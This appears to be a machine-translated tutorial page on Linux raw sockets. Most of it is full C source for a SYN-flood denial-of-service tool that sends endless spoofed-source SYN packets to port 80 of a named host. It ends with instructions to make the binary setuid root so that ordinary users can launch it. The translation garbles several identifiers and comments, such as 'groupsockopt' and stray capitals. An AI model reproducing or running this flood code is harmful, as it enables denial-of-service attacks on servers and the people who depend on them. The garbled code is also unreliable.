Linux Network Programming--Original Socket

  

Computer Shop News 1 Original socket creation int sockfd(AF_INET,SOCK_RAW,protocol) You can create a raw socket. Depending on the type of protocol, we can create different types. The original sockets are: IPPROTO_ICMP, IPPROTO_TCP, IPPROTO_UDP, etc. For details, see the man page of the socket. Below we use an example to illustrate the creation and use of the original socket. 2 An example of a raw socket Remember DOS is What do you mean? Here we will write a small program that implements DOS. Here is the source code of the program /******************** DOS.c ** ***************/#include <stdlib.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> #include <sys/types.h> #include <arpa/Inet.h> #define DESTPORT 80 /* Port to attack (WEB) */#define LOCALPORT 8888 void send_tcp(int sock Fd, struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr, int len); int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; If(argc!=2) { fprintf(stderr,"Usage:%s hostname\ \\a",argv[0]); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); Addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host== NULL) { fprintf(stderr,"HostName Error:%s\ \\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0 ]); } /**** Use IPPROTO_TCP to create a TCP raw socket ****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error :%s\ \\a",strerror(errno)); exit(1); } /******** Set the IP packet format and tell the system kernel module IP packet by me We fill in ***/groupsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); /**** There is no way to use the original socket only with super-care users. *****/setuid(getpid()); /********* Send a bomb!!!! ****/send_tcp(sockfd,&addr); } /**** *** Send bomb implementation *********/void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; /**** Used to place our data packet*** */struct ip *ip; struct tcphdr *tcp; int head_len; /******* Our data package does not actually have any content, so the length is the length of the two structures *** /head_len = sizeof (struct Ip)+sizeof(struct tcphdr); bzero(buffer,100); /******** Fill the header of the IP packet, remember the IP header format? ******/ip= (struct ip *)buffer; ip->ip_v=IPVERSION; /** The version is generally 4 **/ip->ip_hl=sizeof(struct ip)>>2; /** IP packet Head length**/ip->ip_tos=0; /** service type**/ip->ip_len=htons(head_len); /** Length of IP packet **/ip->ip_id=0; /** Let the system fill it out **/ip->ip_off=0; /** Same as above, save time** /ip->ip_ttl=MAXTTL; /** The longest time is 255 **/ip->ip_p=IPPROTO_TCP; /** We are sending TCP packets**/ip->ip_sum=0; /** Checksum let the system do **/ip->ip_dst=addr->sin_addr; /** The object we attack**//******* Start filling in TCP packets*** **/tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; /** destination port** /tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; /** I want to establish a connection**/tcp->check =0; /** Ok, everything is ready. Server, are you ready?? ^_^ **/while(1) { /** You don’t know where I came from, slowly Wait for it! **/ip->ip_src. S_addr=random(); /** Everything is done by the system, and it doesn't mean much. Let's check the head ourselves*//** The following is optional */tcp-> Check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } } /* The following is the algorithm for the first checksum. Stealing someone else's */unsigned short check_sum(unsigned short *addr, int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { Sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>> ;16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } Compile, take localhost and do some experiments to see what results. (Never Try someone else.) In order for normal users to run this program, we should change the owner of this program to root and set the setuid bit [root@hoyt /root]#chown root DOS [root@hoyt /root]#chmod +s DOS 3 Summary The difference between a raw socket and a normal socket is that many of the things that were done by the system before, but now we have to do it ourselves. But here is not There is a lot of fun. When we create a TCP socket, we are only responsible for passing the content we want to send to the system. After receiving our data, the system automatically calls the corresponding The module adds the TCP header to the data, then adds the IP header. Then sends it out. Now we create the headers ourselves, the system just sends them out. In the above example, because we want to modify our Source IP address, so we use the setsockopt function, if we just modify the TCP data, then the IP data can also be created by the system. <!--[endif]-->

Copyright © Windows knowledge All Rights Reserved